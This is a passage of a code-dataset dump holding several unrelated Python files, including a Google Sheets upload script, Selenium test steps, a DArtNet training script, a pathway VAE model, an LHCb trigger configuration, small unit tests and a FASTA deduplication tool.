home_dir = os.path.expanduser('~')\r\n credential_dir = os.path.join(home_dir, '.credentials')\r\n if not os.path.exists(credential_dir):\r\n os.makedirs(credential_dir)\r\n credential_path = os.path.join(credential_dir,\r\n 'sheets.googleapis.com-python-quickstart.json')\r\n\r\n store = Storage(credential_path)\r\n credentials = store.get()\r\n if not credentials or credentials.invalid:\r\n flow = client.flow_from_clientsecrets(CLIENT_SECRET_FILE, SCOPES)\r\n flow.user_agent = APPLICATION_NAME\r\n if flags:\r\n credentials = tools.run_flow(flow, store, flags)\r\n else: # Needed only for compatibility with Python 2.6\r\n credentials = tools.run(flow, store)\r\n print('Storing credentials to ' + credential_path)\r\n return credentials\r\n\r\ndef append(spreadsheet_id, values, range, service, value_input_option = 'RAW', insert_data_option = 'INSERT_ROWS', major_dimension = 'ROWS'):\r\n\r\n value_range_body = {\r\n \"range\": range,\r\n \"majorDimension\": major_dimension,\r\n \"values\": values,\r\n }\r\n\r\n request = service.spreadsheets().values().append(spreadsheetId=spreadsheet_id, range=range, valueInputOption=value_input_option, insertDataOption=insert_data_option, body=value_range_body)\r\n response = request.execute()\r\n return response\r\n\r\n\r\ndef dict_to_values(dict):\r\n values = []\r\n for key in dict:\r\n values.append([key, dict[key]['status'], dict[key]['page']])\r\n return values\r\n\r\n\r\ndef main():\r\n \"\"\"Shows basic usage of the Sheets API.\r\n\r\n Creates a Sheets API service object and prints the names and majors of\r\n students in a sample spreadsheet:\r\n https://docs.google.com/spreadsheets/d/1BxiMVs0XRA5nFMdKvBdBZjgmUUqptlbs74OgvE2upms/edit\r\n \"\"\"\r\n credentials = get_credentials()\r\n http = credentials.authorize(httplib2.Http())\r\n discoveryUrl = ('https://sheets.googleapis.com/$discovery/rest?'\r\n 'version=v4')\r\n service = discovery.build('sheets', 'v4', http=http,\r\n discoveryServiceUrl=discoveryUrl)\r\n\r\n spreadsheet_id = '1_sjswq4RcnoLT6DLZzxgKxoEl1LUsa1Mb6b7nkzipdQ'\r\n\r\n\r\n clear_range = 'A:D'\r\n\r\n clear_values_request_body = {\r\n # TODO: Add desired entries to the request body.\r\n }\r\n request = service.spreadsheets().values().clear(spreadsheetId=spreadsheet_id, range=clear_range, body=clear_values_request_body)\r\n response = request.execute()\r\n\r\n data = json.load(open('results.json'))\r\n append_range = 'A:C'\r\n values = dict_to_values(data)\r\n append(spreadsheet_id, values, append_range, service)\r\n\r\n # result = service.spreadsheets().values().get(\r\n # spreadsheetId=spreadsheetId, range=rangeName).execute()\r\n # values = result.get('values', [])\r\n\r\n # if not values:\r\n # print('No data found.')\r\n # else:\r\n # for row in values:\r\n # # Print columns A and E, which correspond to indices 0 and 4.\r\n # print('%s' % row[0])\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"new_tools/transfer_to_google.py","file_name":"transfer_to_google.py","file_ext":"py","file_size_in_byte":4056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"18777386","text":"from selenium.webdriver.common.by import By\nfrom behave import given, then\n\nCOLOR_OPTIONS = (By.CSS_SELECTOR, \"div#variation_color_name li\")\nSELECTED_COLOR = (By.CSS_SELECTOR, \"div#variation_color_name span.selection\")\n\n\n@given('Open Amazon Dress {productid} page')\ndef open_dress_page(context, productid):\n context.driver.get(f'https://www.amazon.com/gp/product/{productid}/')\n\n\n@then('Verify user can select through the colors')\ndef verify_color_selection(context):\n expected_colors = ['Emerald', 'Ivory', 'Navy']\n color_options = context.driver.find_elements(*COLOR_OPTIONS)\n print('OPTIONS: ', color_options)\n\n # for color in color_options:\n # print('Color element: ', color)\n # color.click()\n # assert context.driver.find_element(*SELECTED_COLOR).text == expected_colors[color_options.index(color)]\n\n for x in range(len(color_options)):\n color_options[x].click()\n selected_color_text = context.driver.find_element(*SELECTED_COLOR).text\n assert selected_color_text == expected_colors[x]","sub_path":"features/steps/dress_selection_steps.py","file_name":"dress_selection_steps.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"474205747","text":"count = 0\ntotal = 0\nwhile True:\n inp = input('Enter a number:')\n try:\n if inp == 'done':\n break\n else:\n #convert str to int into intt\n inpp = int(inp)\n total = total +inpp\n count = count + 1\n average = total/count\n except:\n print('invalid input')\nprint(total,count,average)","sub_path":"src/chapter5/exercise1.py","file_name":"exercise1.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"400518768","text":"import argparse\nimport numpy as np\nimport time\nimport torch\nimport utils\nimport os\nfrom model import DArtNet\nfrom sklearn.utils import shuffle\nimport pickle\n\n\ndef train(args):\n # load data\n num_nodes, num_rels = utils.get_total_number(args.dataset_path, 'stat.txt')\n train_data, train_times = utils.load_hexaruples(args.dataset_path,\n 'train.txt')\n\n # check cuda\n use_cuda = args.gpu >= 0 and torch.cuda.is_available()\n seed = 999\n np.random.seed(seed)\n torch.manual_seed(seed)\n if use_cuda:\n torch.cuda.set_device(args.gpu)\n\n model_dir = 'models/' + args.dataset + '/{}-{}-{}-{}'.format(\n args.dropout, args.n_hidden, args.gamma, args.num_k)\n\n os.makedirs('models', exist_ok=True)\n os.makedirs('models/' + args.dataset, exist_ok=True)\n os.makedirs(model_dir, exist_ok=True)\n\n print(\"start training...\")\n model = DArtNet(num_nodes,\n args.n_hidden,\n num_rels,\n dropout=args.dropout,\n model=args.model,\n seq_len=args.seq_len,\n num_k=args.num_k,\n gamma=args.gamma)\n\n optimizer = torch.optim.Adam(model.parameters(),\n lr=args.lr,\n weight_decay=0.00001)\n\n if use_cuda:\n model.cuda()\n\n train_sub_entity = '/train_entity_s_history_data.txt'\n train_sub_rel = '/train_rel_s_history_data.txt'\n train_sub_att = '/train_att_s_history_data.txt'\n train_sub_self_att = '/train_self_att_s_history_data.txt'\n\n train_ob_entity = '/train_entity_o_history_data.txt'\n train_ob_rel = '/train_rel_o_history_data.txt'\n train_ob_att = '/train_att_o_history_data.txt'\n train_ob_self_att = '/train_self_att_o_history_data.txt'\n\n with open(args.dataset_path + train_sub_entity, 'rb') as f:\n entity_s_history_data_train = pickle.load(f)\n with open(args.dataset_path + train_sub_rel, 'rb') as f:\n rel_s_history_data_train = pickle.load(f)\n with open(args.dataset_path + train_sub_att, 'rb') as f:\n att_s_history_data_train = pickle.load(f)\n with open(args.dataset_path + train_sub_self_att, 'rb') as f:\n self_att_s_history_data_train = pickle.load(f)\n\n with open(args.dataset_path + train_ob_entity, 'rb') as f:\n entity_o_history_data_train = pickle.load(f)\n with open(args.dataset_path + train_ob_rel, 'rb') as f:\n rel_o_history_data_train = pickle.load(f)\n with open(args.dataset_path + train_ob_att, 'rb') as f:\n att_o_history_data_train = pickle.load(f)\n with open(args.dataset_path + train_ob_self_att, 'rb') as f:\n self_att_o_history_data_train = pickle.load(f)\n\n entity_s_history_train = entity_s_history_data_train\n rel_s_history_train = rel_s_history_data_train\n att_s_history_train = att_s_history_data_train\n self_att_s_history_train = self_att_s_history_data_train\n\n entity_o_history_train = entity_o_history_data_train\n rel_o_history_train = rel_o_history_data_train\n att_o_history_train = att_o_history_data_train\n self_att_o_history_train = self_att_o_history_data_train\n\n epoch = 0\n\n if args.retrain != 0:\n try:\n checkpoint = torch.load(model_dir + '/checkpoint.pth',\n map_location=f\"cuda:{args.gpu}\")\n model.load_state_dict(checkpoint['state_dict'])\n optimizer.load_state_dict(checkpoint['optimizer_state_dict'])\n epoch = checkpoint['epoch']\n model.latest_time = checkpoint['latest_time']\n model.to(torch.device(f\"cuda:{args.gpu}\"))\n except FileNotFoundError as _:\n try:\n e = sorted([\n int(file[6:-4])\n for file in os.listdir(model_dir) if file[-4:] == '.pth'\n ],\n reverse=True)[0]\n checkpoint = torch.load(model_dir + '/epoch-{}.pth'.format(e),\n map_location=f\"cuda:{args.gpu}\")\n model.load_state_dict(checkpoint['state_dict'])\n epoch = checkpoint['epoch']\n model.latest_time = checkpoint['latest_time']\n model.to(torch.device(f\"cuda:{args.gpu}\"))\n except Exception as _:\n print('no model found')\n print('training from scratch')\n\n while True:\n model.train()\n if epoch == args.max_epochs:\n break\n epoch += 1\n loss_epoch = 0\n loss_att_sub_epoch = 0\n # loss_att_ob_epoch = 0\n t0 = time.time()\n\n train_data, entity_s_history_train, rel_s_history_train, entity_o_history_train, rel_o_history_train, att_s_history_train, self_att_s_history_train, att_o_history_train, self_att_o_history_train = shuffle(\n train_data, entity_s_history_train, rel_s_history_train,\n entity_o_history_train, rel_o_history_train, att_s_history_train,\n self_att_s_history_train, att_o_history_train,\n self_att_o_history_train)\n\n iteration = 0\n for batch_data, s_hist, rel_s_hist, o_hist, rel_o_hist, att_s_hist, self_att_s_hist, att_o_hist, self_att_o_hist in utils.make_batch3(\n train_data, entity_s_history_train, rel_s_history_train,\n entity_o_history_train, rel_o_history_train,\n att_s_history_train, self_att_s_history_train,\n att_o_history_train, self_att_o_history_train,\n args.batch_size):\n iteration += 1\n print(f'iteration {iteration}', end='\\r')\n batch_data = torch.from_numpy(batch_data)\n\n if use_cuda:\n batch_data = batch_data.cuda()\n\n loss, loss_att_sub = model.get_loss(batch_data, s_hist, rel_s_hist,\n att_s_hist, self_att_s_hist,\n o_hist, rel_o_hist, att_o_hist,\n self_att_o_hist)\n\n loss.backward()\n torch.nn.utils.clip_grad_norm_(model.parameters(),\n args.grad_norm) # clip gradients\n optimizer.step()\n optimizer.zero_grad()\n loss_epoch += loss.item()\n loss_att_sub_epoch += loss_att_sub.item()\n # loss_att_ob_epoch += loss_att_ob.item()\n\n t3 = time.time()\n print(\n \"Epoch {:04d} | Loss {:.4f} | Loss_att_sub {:.4f} | time {:.4f} \".\n format(epoch, loss_epoch / (len(train_data) / args.batch_size),\n loss_att_sub_epoch / (len(train_data) / args.batch_size),\n t3 - t0))\n\n torch.save(\n {\n 'state_dict': model.state_dict(),\n 'epoch': epoch,\n 'latest_time': model.latest_time,\n }, model_dir + '/epoch-{}.pth'.format(epoch))\n\n torch.save(\n {\n 'state_dict': model.state_dict(),\n 'optimizer_state_dict': optimizer.state_dict(),\n 'epoch': epoch,\n 'latest_time': model.latest_time,\n }, model_dir + '/checkpoint.pth')\n\n print(\"training done\")\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='DArtNet')\n parser.add_argument(\"--dropout\",\n type=float,\n default=0.5,\n help=\"dropout probability\")\n parser.add_argument(\"--n-hidden\",\n type=int,\n default=200,\n help=\"number of hidden units\")\n parser.add_argument(\"--gpu\", type=int, default=0, help=\"gpu\")\n parser.add_argument(\"--lr\", type=float, default=1e-3, help=\"learning rate\")\n parser.add_argument(\"-d\",\n \"--dataset_path\",\n type=str,\n help=\"dataset_path to use\",\n default='../../data/atg')\n parser.add_argument(\"--dataset\", type=str, help=\"dataset name\", default='atg')\n parser.add_argument(\"--grad-norm\",\n type=float,\n default=1.0,\n help=\"norm to clip gradient to\")\n parser.add_argument(\"--max-epochs\",\n type=int,\n default=20,\n help=\"maximum epochs\")\n parser.add_argument(\"--model\", type=int, default=0)\n parser.add_argument(\"--seq-len\", type=int, default=10)\n parser.add_argument(\"--num-k\",\n type=int,\n default=10,\n help=\"cuttoff position\")\n parser.add_argument(\"--batch-size\", type=int, default=1024)\n parser.add_argument(\"--rnn-layers\", type=int, default=1)\n parser.add_argument(\"--gamma\", type=float, default=1)\n parser.add_argument(\"--retrain\", type=int, default=0)\n\n args = parser.parse_args()\n print(args)\n train(args)\n","sub_path":"models/main_model/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":9062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"322986419","text":"#!/usr/bin/env python3\n\n# Modules for pathway variational autoencoder\n\nimport torch\nimport numpy as np\nimport torch.nn.functional as F\nfrom torch import nn, optim\nfrom customized_linear import CustomizedLinear\nfrom utils import *\nfrom learning_utils import *\nimport scanpy as sc\nfrom scipy import sparse\n\nclass PathwaySparseVAE(torch.nn.Module):\n def __init__(self, pathway_mask, positive_encoder=False, positive_decoder=False, **kwargs):\n \"\"\" Constructor for class pathway sparse VAE (sparse encoder sparse decoder).\n \"\"\"\n super(PathwaySparseVAE, self).__init__()\n self.pathway_mask = pathway_mask\n self.n_pathways = pathway_mask.shape[1]\n self.beta = kwargs.get('beta', 0.05)\n self.path_model = kwargs.get('path_model', \"trained_vae.pt\")\n self.dev = kwargs.get('device', torch.device('cpu'))\n self.dropout = kwargs.get('dropout', 0.1)\n print(self.dropout, flush=True)\n self.pos_enc = positive_encoder\n self.pos_dec = positive_decoder\n self.encoder_mu = nn.Sequential(CustomizedLinear(self.pathway_mask),\n nn.BatchNorm1d(self.n_pathways),\n nn.ReLU(),\n nn.Dropout(self.dropout))\n self.encoder_logvar = nn.Sequential(CustomizedLinear(self.pathway_mask),\n nn.BatchNorm1d(self.n_pathways),\n nn.ReLU(),\n nn.Dropout(self.dropout))\n self.decoder = CustomizedLinear(self.pathway_mask.T)\n if self.pos_enc:\n print('Constraining encoder to positive weights', flush=True)\n self.encoder_mu._modules['0'].reset_params_pos()\n self.encoder_mu._modules['0'].weight.data *= self.encoder_mu._modules['0'].mask\n self.encoder_logvar._modules['0'].reset_params_pos()\n self.encoder_logvar._modules['0'].weight.data *= self.encoder_logvar._modules['0'].mask\n if self.pos_dec:\n print('Constraining decoder to positive weights', flush=True)\n self.decoder.reset_params_pos()\n self.decoder.weight.data *= self.decoder.mask\n \n def encode(self, X):\n \"\"\" Encode data \"\"\"\n mu = self.encoder_mu(X)\n logvar = self.encoder_logvar(X)\n z = self.sample_latent(mu, logvar)\n return z, mu, logvar\n \n def decode(self, z):\n \"\"\" Decode data \"\"\"\n X_rec = self.decoder(z)\n return X_rec\n \n def sample_latent(self, mu, logvar):\n \"\"\" Sample latent space from normal with reparametrization trick.\"\"\"\n std = logvar.mul(0.5).exp_()\n eps = torch.FloatTensor(std.size()).normal_().to(self.dev)\n eps = eps.mul_(std).add_(mu)\n return eps\n\n def to_latent(self, X):\n \"\"\" Same as encode, but only returns z (no mu and logvar) \"\"\"\n mu = self.encoder_mu(X)\n logvar = self.encoder_logvar(X)\n z = self.sample_latent(mu, logvar)\n return z\n\n def _average_latent(self, X):\n \"\"\" \"\"\"\n z = self.to_latent(X)\n mean_z = z.mean(0)\n return mean_z\n \n def bayesian_diff_exp(self, adata1, adata2, n_samples=2000, use_permutations=True, n_permutations=1000, random_seed=False):\n \"\"\" Run Bayesian differential expression in latent space.\n Returns Bayes factor of all factors. \n \"\"\"\n self.eval()\n # Set seed for reproducibility\n if random_seed:\n torch.manual_seed(random_seed)\n np.random.seed(random_seed)\n epsilon = 1e-12\n # Sample cell from each condition\n idx1 = np.random.choice(np.arange(len(adata1)), n_samples)\n idx2 = np.random.choice(np.arange(len(adata2)), n_samples)\n # To latent\n z1 = self.to_latent(torch.Tensor(adata1[idx1,:].X)).detach().numpy()\n z2 = self.to_latent(torch.Tensor(adata2[idx2,:].X)).detach().numpy()\n # Compare samples by using number of permutations - if 0, just pairwise comparison\n # This estimates the double integral in the posterior of the hypothesis\n if use_permutations:\n z1, z2 = self._scale_sampling(z1, z2, n_perm=n_permutations)\n p_h1 = np.mean(z1 > z2, axis=0)\n p_h2 = 1.0 - p_h1\n mad = np.abs(np.mean(z1 - z2, axis=0))\n # Wrap results\n res = {'p_h1':p_h1,\n 'p_h2':p_h2,\n 'bayes_factor':np.log(p_h1 + epsilon) - np.log(p_h2 + epsilon),\n 'mad':mad}\n return res\n \n \n def _scale_sampling(self, arr1, arr2, n_perm=1000):\n \"\"\" Use permutation to better estimate double integral (create more pair comparisons)\n Inspired by scVI (Lopez et al., 2018) \"\"\"\n u, v = (np.random.choice(arr1.shape[0], size=n_perm), np.random.choice(arr2.shape[0], size=n_perm))\n scaled1 = arr1[u]\n scaled2 = arr2[v]\n return scaled1, scaled2\n \n\n def forward(self, X):\n \"\"\" Forward pass through full network\"\"\"\n z, mu, logvar = self.encode(X)\n X_rec = self.decode(z)\n return X_rec, mu, logvar\n\n def vae_loss(self, y_pred, y_true, mu, logvar):\n \"\"\" Custom loss for VAE. For z~N(0,1)\"\"\"\n kld = -0.5 * torch.sum(1. + logvar - mu.pow(2) - logvar.exp(), )\n mse = F.mse_loss(y_pred, y_true, reduction=\"sum\")\n return torch.mean(mse + self.beta*kld)\n\n def train_model(self, train_loader, learning_rate, n_epochs, train_patience, test_patience, test_loader=False, save_model=True):\n \"\"\" Train VAE \"\"\"\n epoch_hist = {}\n epoch_hist['train_loss'] = []\n epoch_hist['valid_loss'] = []\n optimizer = optim.Adam(self.parameters(), lr=learning_rate, weight_decay=5e-4)\n train_ES = EarlyStopping(patience=train_patience, verbose=True, mode='train')\n clipper = WeightClipper(frequency=1)\n if test_loader:\n valid_ES = EarlyStopping(patience=test_patience, verbose=True, mode='valid')\n # Train\n for epoch in range(n_epochs):\n loss_value = 0\n self.train()\n for x_train in train_loader:\n x_train = x_train.to(self.dev)\n optimizer.zero_grad()\n x_rec, mu, logvar = self.forward(x_train)\n loss = self.vae_loss(x_rec, x_train, mu, logvar)\n loss_value += loss.item()\n loss.backward()\n optimizer.step()\n # Clip weights\n if self.pos_enc:\n self.encoder_mu.apply(clipper)\n self.encoder_logvar.apply(clipper)\n if self.pos_dec:\n self.decoder.apply(clipper)\n\n # Get epoch loss\n epoch_loss = loss_value / (len(train_loader) * train_loader.batch_size)\n epoch_hist['train_loss'].append(epoch_loss)\n train_ES(epoch_loss)\n # Eval\n if test_loader:\n self.eval()\n test_dict = self.test_model(test_loader)\n test_loss = test_dict['loss']\n epoch_hist['valid_loss'].append(test_loss)\n valid_ES(test_loss)\n print('[Epoch %d] | loss: %.3f | test_loss: %.3f |'%(epoch+1, epoch_loss, test_loss), flush=True)\n if valid_ES.early_stop or train_ES.early_stop:\n print('[Epoch %d] Early stopping' % (epoch+1), flush=True)\n break\n else:\n print('[Epoch %d] | loss: %.3f |' % (epoch + 1, epoch_loss), flush=True)\n if train_ES.early_stop:\n print('[Epoch %d] Early stopping' % (epoch+1), flush=True)\n break\n # Save model\n if save_model:\n print('Saving model to ...', self.path_model)\n torch.save(self.state_dict(), self.path_model)\n\n return epoch_hist\n\n def test_model(self, loader):\n \"\"\"Test model on input loader.\"\"\"\n test_dict = {}\n loss = 0\n loss_func = self.vae_loss\n self.eval()\n with torch.no_grad():\n for data in loader:\n data = data.to(self.dev)\n reconstruct_X, mu, logvar = self.forward(data)\n loss += loss_func(reconstruct_X, data, mu, logvar).item()\n test_dict['loss'] = loss/(len(loader)*loader.batch_size)\n return test_dict\n\n","sub_path":"src/pathway_sparse_vae.py","file_name":"pathway_sparse_vae.py","file_ext":"py","file_size_in_byte":8445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"474033969","text":"# =============================================================================\n## @file\n# Configuration of Hlt Lines for commissioning\n# @author Gerhard Raven Gerhard.Raven@nikhef.nl\n# @date 2008-12-02\n# =============================================================================\n\"\"\"\n script to configure Hlt lines for commissioning\n\"\"\"\n# =============================================================================\n__author__ = \"Gerhard Raven Gerhard.Raven@nikhef.nl\"\n__version__ = \"CVS Tag $Name: not supported by cvs2svn $, $Revision: 1.13 $\"\n# =============================================================================\n\nfrom HltLine.HltLinesConfigurableUser import *\n\n\nclass Hlt1CommissioningLinesConf(HltLinesConfigurableUser):\n\n __slots__ = { 'Prescale' : { 'Hlt1ODINPhysics' : 0.000001\n , 'Hlt1ODINTechnical' : 0.000001 # @OnlineEnv.AcceptRate\n , 'Hlt1Tell1Error' : 1\n , 'Hlt1VeloClosingMicroBias' : 1\n }\n , 'Postscale' : { 'Hlt1Incident' : 'RATE(1)'\n , 'Hlt1Tell1Error' : 'RATE(10)'\n , 'Hlt1ErrorEvent' : 'RATE(0.01)'\n , 'Hlt1NZSVelo' : 'RATE(1)'\n , 'Hlt1GEC.*' : 'RATE(1)'\n , 'Hlt1VeloClosingMicroBias' : 'RATE(500)'\n }\n , 'ODINPhysics' : '( ODIN_TRGTYP == LHCb.ODIN.PhysicsTrigger )'\n , 'ODINTechnical' : '( ODIN_TRGTYP == LHCb.ODIN.TechnicalTrigger )'\n , 'ODINVeloClosing' : 'scale( jbit( ODIN_EVTTYP,0 ), RATE(10000) )'\n }\n def __apply_configuration__(self):\n from HltLine.HltLine import Hlt1Line as Line\n #from Hlt1GECs import Hlt1_GEC\n #for i in [ 'VELO','IT','OT' ] :\n # # WARNING: these imply we always decode Velo & IT\n # Line('GECPassThrough%s' % i\n # , L0DU = 'L0_DECISION_PHYSICS'\n # , prescale = self.prescale\n # , postscale = self.postscale\n # , algos = [Hlt1_GEC(i,reject=False)]\n # )\n Line('ODINPhysics', ODIN = self.getProp('ODINPhysics')\n , prescale = self.prescale\n , postscale = self.postscale\n )\n Line('ODINTechnical', ODIN = self.getProp('ODINTechnical')\n , prescale = self.prescale\n , postscale = self.postscale\n )\n from Configurables import FilterByBankType\n Line('Tell1Error'\n , algos = [ FilterByBankType('Hlt1Tell1ErrorDecision'\n , PassSelectedEvents = True\n , BankNames = [ \".*Error\" ]\n )\n ]\n , prescale = self.prescale\n , postscale = self.postscale\n )\n Line('NZSVelo'\n , algos = [ FilterByBankType('Hlt1NZSVeloDecision'\n , PassSelectedEvents = True\n , BankNames = [ \"VeloFull\" ]\n )\n ]\n , prescale = self.prescale\n , postscale = self.postscale\n )\n from Configurables import HltIncidentFilter\n Line('Incident'\n , algos = [ HltIncidentFilter('Hlt1IncidentDecision') ]\n , prescale = self.prescale\n , postscale = self.postscale\n , priority = 254\n )\n from DAQSys.Decoders import DecoderDB\n from Configurables import LoKi__HDRFilter as HDRFilter\n decoder = DecoderDB[\"HltDecReportsDecoder/Hlt1DecReportsDecoder\"]\n # TODO: just want presence, so HLT_ERRORBITS(0xffff) would be nice to have...\n Line('ErrorEvent',prescale = self.prescale, postscale = self.postscale\n , algos = [HDRFilter('Hlt1ErrorEventCounter' ,\n Code = \"HLT_COUNT_ERRORBITS_RE('^Hlt1.*',0xffff) > 0\",\n Location = decoder.listOutputs()[0])]\n , priority = 254\n )\n from HltTracking.HltSharedTracking import MinimalVelo\n from HltLine.HltLine import Hlt1Member as Member\n Line ( 'VeloClosingMicroBias'\n , prescale = self.prescale\n , ODIN = self.getProp('ODINVeloClosing')\n , algos = [ MinimalVelo\n , Member( 'Hlt::TrackFilter','All'\n , Code = [ 'TrALL' ]\n , InputSelection = 'TES:%s' % MinimalVelo.outputSelection()\n , OutputSelection = '%Decision'\n )\n ]\n , postscale = self.postscale\n )\n","sub_path":"Hlt/Hlt/Hlt1Lines/python/Hlt1Lines/Hlt1CommissioningLines.py","file_name":"Hlt1CommissioningLines.py","file_ext":"py","file_size_in_byte":5001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"374345786","text":"from twisted.trial.unittest import TestCase\n\nimport os\n\nfrom mold.ch3 import (fd, spawnProcess, exit, decode, encode, Message)\n\n\n\nclass MessageTest(TestCase):\n\n\n def test_attrs(self):\n \"\"\"\n Every message has these attributes\n \"\"\"\n m = Message('name', 'key', 'data')\n self.assertEqual(m.name, 'name')\n self.assertEqual(m.key, 'key')\n self.assertEqual(m.data, 'data')\n\n\n def test_equality(self):\n \"\"\"\n Equal messages are equal\n \"\"\"\n m = Message('name', 'key', 'data')\n m2 = Message('name', 'key', 'data')\n self.assertEqual(m, m2)\n\n\n\nclass exitTest(TestCase):\n\n\n def test_basic(self):\n \"\"\"\n It takes an exit code and signal\n \"\"\"\n self.assertEqual(exit('joe', 3, 'signal'),\n Message('joe', 'exit', {\n 'code': 3,\n 'signal': 'signal',\n }))\n\n\n\nclass spawnProcessTest(TestCase):\n\n\n def test_basic(self):\n \"\"\"\n You can indicate that a process was spawned\n \"\"\"\n self.assertEqual(spawnProcess('joe', 'executable',\n args=['foo', 'bar'],\n env={'something': 'here'},\n path='some path',\n uid='userid',\n gid='groupid',\n usePTY='foo'),\n Message('joe', 'spawn', {\n 'executable': 'executable',\n 'args': ['foo', 'bar'],\n 'env': {'something': 'here'},\n 'path': 'some path',\n 'uid': 'userid',\n 'gid': 'groupid',\n 'usePTY': 'foo',\n })\n )\n\n\n\nclass fdTest(TestCase):\n\n\n def test_basic(self):\n \"\"\"\n A stream accepts a name, a file descriptor and some data.\n \"\"\"\n m = fd('joe', 2, 'data')\n self.assertEqual(m, Message('joe', 2, {'line': 'data'}))\n\n\n def test_binary(self):\n \"\"\"\n If there's binary data, encode it.\n \"\"\"\n m = fd('joe', 2, '\\x00\\x01\\xff')\n self.assertEqual(m, Message('joe', 2, {\n 'line': '\\x00\\x01\\xff'.encode('base64'),\n 'encoding': 'base64',\n }))\n\n\n\nclass encode_decodeTest(TestCase):\n\n\n def test_works(self):\n \"\"\"\n You can encode and decode things\n \"\"\"\n r = decode(encode(['foo', 'bar']))\n self.assertEqual(r, ['foo', 'bar'])\n\n\n\n","sub_path":"mold/test/test_ch3.py","file_name":"test_ch3.py","file_ext":"py","file_size_in_byte":2611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"378569729","text":"#! /usr/bin/env python3\n\"\"\"\nusage: format-16s-fasta [-h] [--outdir OUTPUT_DIRECTORY] [--extension STR]\n [--prefix STR] [--version]\n DIR\n\nformat-16s-fasta (v1.2.4) - Remove duplicates from input FASTAs\n\npositional arguments:\n DIR Directory containing 16s FASTAs\n\noptional arguments:\n -h, --help show this help message and exit\n\nHelpers:\n --outdir OUTPUT_DIRECTORY\n Directory to write output. (Default: ./)\n --extension STR Extension to glob inputs on. (Default: fasta)\n --prefix STR Prefix to use for output files. (Default: 16s)\n --version show program's version number and exit\n\nexample usage:\n format-16s-fasta ./\n\"\"\"\nPROGRAM = \"format-16s-fasta\"\nVERSION = \"1.7.1\"\n\ndef read_fasta(fasta):\n \"\"\" Kudos: https://www.biostars.org/p/710/ \"\"\"\n from itertools import groupby\n fasta_fh = open(fasta)\n faiter = (x[1] for x in groupby(fasta_fh, lambda line: line[0] == \">\"))\n\n for header in faiter:\n headerStr = header.__next__()[1:].strip()\n seq = \"\".join(s.strip() for s in faiter.__next__())\n\n yield (headerStr, seq)\n\nif __name__ == '__main__':\n import argparse as ap\n import glob\n import sys\n import textwrap\n from os.path import basename\n parser = ap.ArgumentParser(\n prog=PROGRAM,\n conflict_handler='resolve',\n description=f'{PROGRAM} (v{VERSION}) - Remove duplicates from input FASTAs',\n formatter_class=ap.RawDescriptionHelpFormatter,\n epilog=textwrap.dedent(f'''\n example usage:\n {PROGRAM} ./\n ''')\n )\n\n parser.add_argument(\n 'input_dir', metavar=\"DIR\", type=str,\n help='Directory containing 16s FASTAs'\n )\n\n group5 = parser.add_argument_group('Helpers')\n group5.add_argument(\n '--outdir', metavar=\"OUTPUT_DIRECTORY\", type=str, default=\"./\",\n help='Directory to write output. (Default: ./)'\n )\n group5.add_argument(\n '--extension', metavar=\"STR\", type=str, default=\"fasta\",\n help='Extension to glob inputs on. (Default: fasta)'\n )\n group5.add_argument(\n '--prefix', metavar=\"STR\", type=str, default=\"16s\",\n help='Prefix to use for output files. (Default: 16s)'\n )\n group5.add_argument('--version', action='version',\n version=f'{PROGRAM} {VERSION}')\n if len(sys.argv) == 1:\n parser.print_help()\n sys.exit(0)\n\n args = parser.parse_args()\n\n seqs = {}\n matches = {}\n for fasta in glob.glob(f'{args.input_dir}/*.{args.extension}'):\n sample = basename(fasta).split('.')[0]\n match = None\n taxon = None\n fasta_seqs = read_fasta(fasta)\n i = 1\n for header, seq in read_fasta(fasta):\n if header.startswith(sample):\n if sample in seqs:\n # Capture multiple copies\n seqs[f'{sample}_{i}'] = seq\n i += 1\n else:\n seqs[sample] = seq\n else:\n taxon = header.split(';')[-1]\n match = header.split()[0]\n accession = match.split('.')[0]\n header_taxon = taxon\n if len(header_taxon.split()) > 1:\n header_taxon = ' '.join(header_taxon.split()[0:2])\n match_header = f'{header_taxon} ({accession})'\n seqs[match_header] = seq\n matches[sample] = [match, taxon]\n\n # Write merged fasta\n with open(f'{args.outdir}/{args.prefix}-merged.fasta', 'w') as fasta_out:\n for header, seq in seqs.items():\n fasta_out.write(f'>{header}\\n')\n fasta_out.write(f'{seq}\\n')\n\n # Write matches (since duplicates were removed)\n with open(f'{args.outdir}/{args.prefix}-matches.txt', 'w') as match_out:\n match_out.write(\"sample\\taccesion\\ttaxon\\n\")\n for sample, match in matches.items():\n match_out.write(f\"{sample}\\t{match[0]}\\t{match[1]}\\n\")\n","sub_path":"tools/phyloflash/bin/format-16s-fasta.py","file_name":"format-16s-fasta.py","file_ext":"py","file_size_in_byte":4050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"48204538","text":"# Copyright 2015 Hewlett-Packard Development Company, L.P.\n# Copyright 2016 Rackspace Inc.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom tempest.lib.common.utils import data_utils\nfrom tempest.lib import decorators\nfrom tempest.lib import exceptions as ex\nfrom tempest import test\n\nfrom neutron_lbaas.tests.tempest.v2.api import base\n\n\nPROTOCOL_PORT = 80\n\n\nclass TestPools(base.BaseAdminTestCase):\n\n 